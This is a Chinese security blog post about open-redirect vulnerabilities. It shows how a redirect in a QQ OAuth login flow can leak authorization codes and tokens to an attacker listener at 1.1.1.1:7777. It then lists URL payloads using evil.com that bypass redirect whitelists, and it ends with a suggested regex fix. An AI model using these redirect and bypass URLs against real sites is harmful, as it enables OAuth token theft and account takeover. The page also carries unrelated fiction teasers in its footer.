# 漏洞日常记录 之 url跳转

url跳转是现在web安全中很常见的问题,是个比较不起眼的漏洞了。
从日常中学会了一些不一样的角度,各种可绕过的防御方式。

漏洞影响:

此处不再赘述普通的url跳转漏洞带来的影响,
比较另辟蹊径的oauth处的url跳转。
先来看一下oauth第三方账号登录的流程:

默认i.sevsea.me为使用oauth流程但存在url跳转的站点;
http://1.1.1.1:7777 为攻击者正在监听的地址

  1. 首先是访问一个拥有url跳转漏洞的链接:

     http://i.sevsea.me/ajax/qqlogin?extend=shouyou&gamefrom=web_h5&channel=sevseawebsite&from=home&prevUrl=http://1.1.1.1:7777
    
  2. 访问此链接可以跳转至第三方登录处,即下面包含用户state的链接,这里是QQ第三方登录。

     http://graph.qq.com/oauth2.0/show?which=Login&display=pc&which=&display=&state=82502feab21aa34d6d460b1a70c0b516&client_id=101270876&response_type=token&scope=get_user_info&redirect_uri=http://i.sevsea.me/index/qqback
    
  3. 此处将会带着access_token和state跳转到i.sevsea.me/index/qqback,如下:

     http://i.sevsea.me/index/qqback?access_token=FD336A008729CA97FB7AC22602A4304E&expires_in=7776000&state=82502feab21aa34d6d460b1a70c0b516
    
  4. 到此链接后,下一个步骤生成code并将code带至将http://1.1.1.1:7777 访问,如下。

     http://1.1.1.1:7777/?code=01dc82a5e1764e31c9593b89f4b526ec
     #oauth里面,用来授权的字段为access_token、code、state 这三个参数,拿到这三个参数也就可以实行oauth csrf的攻击流程。
    
  5. 可能会有的一个疑问,code能拿到, access_token和 state 怎么拿到呢?

     如果业务站点为https,只要同有一个https的站点,即可拿到
     http://1.1.1.1:7777/?code=01dc82a5e1764e31c9593b89f4b526ec 
     的referer,其中便可直接拿到access_token和state 。
    

所以这类存在于oauth的url跳转,大多有可能造成outh csrf漏洞。

漏洞修复方案绕过:

第一种:
验证缺失(仅验证包含www.yoursite.com的情况):

http://evil.comwww.yoursite.com/
http://evil.com/?www.yoursite.com
http://evil.com/www.yoursite.com/

第二种:
利用schema://username:password@host.com/的验证缺失

http://evil.com\@www.yoursite.com
此处evil.com\@被当作了username:password的内容来处理,导致验证缺失。

第三种:
%40绕过域名检测

http://sevsea.me/tjump?u=//www.yoursite.com%40evil.com/5uIGe4g&BNVDLtCSEK

第四种:
业务判断了/字符并做了限制,使用""或?绕过

首先尝试添加包含前斜线(/)char的子域名,例如evil.com/.www.yoursite.com,但是它不成功,因为检查了子域的字符,并阻止我使用前斜杠字符。但是当我在子域中使用反斜线字符时,并没有被阻止.
(技巧:浏览器在看到斜杠字符时转换为前斜杠字符。)
http://evil.com\?www.yoursite.com/

使用 http://evil.com?www.yoursite.com/时候浏览器会自动解析为 http://evil.com/?www.yoursite.com/,绕过了对/字符的限制。
http://evil.com?www.yoursite.com/

漏洞修复方案:

正则匹配方案:

https?:\/\/[a-zA-Z0-9\.]*?\.360\.cn\/
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 205,132评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 87,802评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 151,566评论 0 338
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,858评论 1 277
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,867评论 5 368
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,695评论 1 282
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,064评论 3 399
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,705评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 42,915评论 1 300
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,677评论 2 323
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,796评论 1 333
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,432评论 4 322
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,041评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,992评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,223评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,185评论 2 352
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,535评论 2 343

推荐阅读更多精彩内容